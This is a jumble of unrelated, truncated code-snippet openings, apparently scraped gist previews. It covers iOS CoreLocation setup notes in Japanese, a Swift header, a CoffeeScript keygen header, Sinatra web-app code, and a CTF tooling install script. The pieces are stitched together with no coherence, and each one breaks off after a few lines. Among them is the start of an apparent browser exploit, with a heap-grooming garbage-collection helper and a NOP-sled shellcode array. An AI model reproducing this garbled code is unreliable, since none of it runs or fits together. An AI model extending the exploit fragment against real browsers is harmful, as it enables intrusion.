CoreLocationを使ってGPSやらなにやらで現在位置を特定する。
まずプロジェクトにCoreLocation.frameworkを追加する。
ここではサンプルとしてDemoViewControllerというものがあるとして、そこで位置取得を行う。
// | |
// SIFlatButton.swift | |
// TwitterClone | |
// | |
// Created by Shoya Ishimaru on 2015/05/08. | |
// Copyright (c) 2015年 shoya140. All rights reserved. | |
// | |
import UIKit |
# Basic Keygen | |
# Briefly used at my startup | |
# Note: be mindful of any console logging or stdout logging when running this. | |
# | |
# By Jason Giedymin | |
# jasong _-@-_ apache -dot- org | |
# | |
crypto = require "crypto" | |
rbytes = require "rbytes" |
thumbnail: http://pds.exblog.jp/pds/1/201101/16/02/d0055302_13383029.jpg | |
video: http://www.youtube.com/watch?v=UE27t_LJpx0 |
module Sinatra | |
module Flash | |
module Style | |
def styled_flash(key=:flash) | |
return "" if flash(key).empty? | |
id = (key == :flash ? "flash" : "flash_#{key}") | |
close = '<a class="close" data-dismiss="alert" href="#">×</a>' | |
messages = flash(key).collect {|message| " <div class='alert alert-#{message[0]}'>#{close}\n #{message[1]}</div>\n"} | |
"<div id='#{id}'>\n" + messages.join + "</div>" | |
end |
#!/bin/bash | |
# Advance preparation | |
echo "source $HOME/.ctf_tool" >> $HOME/.zshrc | |
# Support 32-bit elf. | |
sudo apt install -y lib32z1 | |
# Install other tools. | |
sudo apt install -y gdb binutils build-essential strace ltrace\ |
require 'sinatra' | |
require 'haml' | |
# 静的コンテンツ参照のためのパス設定 | |
set :public, File.dirname(__FILE__) + '/public' | |
# アップロード | |
get '/' do | |
haml :index |
<script> | |
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } } | |
var sc = []; | |
for (var i=0; i<0x480; i++) { | |
sc.push(0x90); | |
} | |
//sc.push(0xcc); | |
//sc.push(0xeb); | |
//sc.push(0xfe); |
# coding: utf-8 | |
require 'sinatra' | |
set server: 'thin', connections: [] | |
get '/' do | |
halt erb(:login) unless params[:user] | |
erb :chat, locals: { user: params[:user].gsub(/\W/, '') } | |
end | |
get '/stream', provides: 'text/event-stream' do |